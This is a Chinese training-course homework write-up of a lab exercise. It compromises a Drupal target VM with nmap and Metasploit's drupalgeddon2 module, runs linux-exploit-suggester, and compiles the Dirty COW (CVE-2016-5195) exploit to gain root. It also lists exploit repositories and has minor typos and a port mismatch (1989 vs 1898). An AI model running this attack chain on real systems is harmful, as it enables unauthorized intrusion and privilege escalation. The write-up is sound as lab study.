实训作业day10

一、提权案例

  • nmap扫描网段,找到案例的ip,浏览器打开可以看到案例的网页。进一步找到目标开发的端口:1989是web服务开发端口。

    #namp 192.168.11.0/24
    #namp -T4 1-65535 192.168.11.134
    

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

  • 在IP后加上“:1989”可以打开登录页面,通过Wappalyzer插件可以发现内容管理系统是:Drupal。
    在这里插入图片描述

  • 下面使用msf提权。首先打开msf服务,搜索Drupal的漏洞。

    #msfconsole
    #search drupal
    

    在这里插入图片描述
    在这里插入图片描述

  • 使用日期较新的“exploit /unix/webapp/drupal_drupaldeddon2”提权模块,设置host和port参数,执行“run”进入工具载荷“meterpreter”。

    #use exploit /unix/webapp/drupal_drupaldeddon2
    #set rhosts 192.168.11.134
    #set rport 1898
    #run
    

    在这里插入图片描述

  • 输入“getuid”命令可以查看权限,目前是www-data,不是root权限。输入“shell”进入目标机的cmd shell。输入linux的常用命令可以查看用户和系统信息。

    #whoami //查看当前用户
    #cat /etc/os-release //查看系统信息
    

    在这里插入图片描述

  • 将下载的针对提权的扫描脚本(本次选择“linux-exploit-suggester”)的压缩包复制到kali桌面上并解压。

    #unzip /root/Desktop/linux-exploit-suggester-master.zip
    
    /**
    针对提权的扫描脚本
    https://github.com/The-Z-Labs/linux-exploit-suggester -- shell脚本
    https://github.com/belane/linux-soft-exploit-suggester -- python开发
    https://github.com/liamg/traitor--go语言开发,可能需要先编译
    https://github.com/jondonas/linux-exploit-suggester-2-- Perl语言开发
    扫描提权一体化的扫描脚本
    https://github.com/carlospolop/PEASS-ng--有多种编译方案
    https://github.com/diego-treitos/linux-smart-enumeration -- shel1脚本
    https://github.com/redcode-labs/Bashark -- shel1脚本
    https://github.com/rebootuser/LinEnum -- shell脚本
    **/
    

    在这里插入图片描述

    在这里插入图片描述

  • 退出shell,返回到meterpreter里将脚本“linux-exploit-suggester.sh”上传到目标的/tmp,同时更名为hh.sh。

    #exit
    #upload /root/Desktop/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/hh.sh
    

    在这里插入图片描述

  • 进入shell,进入tmp目录查看文件,确认脚本上传成功后添加执行权限。

    #shell
    #cd /tmp
    #ls -la
    #chmod +x hh.sh
    

    在这里插入图片描述

  • 使用“ls -al”查看权限添加成功后,输入”./hh.sh“执行脚本。
    在这里插入图片描述

  • 选择找到的漏洞“CVE-2016-5195”,去网站“https://github.com/nomi-sec/PoC-in-GitHub/blob/master/2016/CVE-2016-5195.jsons”找到该漏洞的EXP下载。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 解压EXP,退出shell,返回到meterpreter里将脚本dcow.cpp上传到目标的/tmp,同时更名为gg.cpp。

    #unzip /root/Desktop/CVE-2016-5195-master.zip
    #exit
    #upload /root/Desktop/CVE-2016-5195-master/dcow.cpp /tmp/gg.cpp
    

    在这里插入图片描述

  • 进入shell,进入tmp目录查看文件,确认脚本上传成功。

    #shell
    #cd /tmp
    #ls -al
    

    在这里插入图片描述

  • 编译文件,查看编译后的文件gg。运行编译文件,输入密码“dirtyCowFun“获得root权限。

    #g++ -Wall -pedantic -O2 -std=c++11 -pthread -o gg gg.cpp -lutil
    #ls
    #./gg
    

    在这里插入图片描述
    在这里插入图片描述

二、Linux内核提权利用步骤

  • nmap端口扫描

    • 发现目标主机的服务端口。
  • 端口信息收集

    • 对端口进行目录扫描可以发现搭建的框架。
  • Metasploit寻找利用exp

  • 反弹shell

    • 设置参数,运行msf,建立会话后可获得shell交互。
  • 初级shell信息收集

    • 可以通过常用命令收集系统、用户信息。
    • 通过meterpreter上传提权的扫描脚本(linux-exploit-suggester、linux-exploit-suggester-2)到靶机,赋予执行权限并运行,可以发现内核漏洞。
  • 内核提权漏洞寻找脚本

    • 下面的项目都包含了大量漏洞脚本,根据漏洞编号获取EXP后上传到靶机编译运行。

      https://github.com/Ascotbe/Kernelhub
      http://kernelhub.ascotbe.com/Windows/Docs/#/
      https://github.com/SecWiki/windows-kernel-exploits
      https://github.com/nomi-sec/PoC-in-GitHub
      https://gitlab.com/exploit-database/exploitdb
      

三、Linux常用命令

命令功能
lsb_release -a/cat /etc/os-release查看ubuntu版本
cat /proc/version/uname –a看内核版本
cat /etc/group查看分组
adduser增加用户
usermod -g修改用户分组
find / -name 文件名以文件名查找文件
ip addr查看ip地址
ifconfig查看当前网卡
lshw -c network | grep serial查看MAC地址
netstat -rn查看路由
df -h磁盘挂载情况
df -i查看每个硬盘分区的inode总数和已经使用的数量
vi 文件名使用vi编辑器编辑文件
cat 文件名查看文件内容
pwd显示工作路径
cp/mv 源文件路径 目标源文件路径复制/移动文件
cd/mkdir/rm 目录路径切换/创建/删除目录
ls查看目录中的文件
chmod +/- x 文件名给文件增加/减少执行权限
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值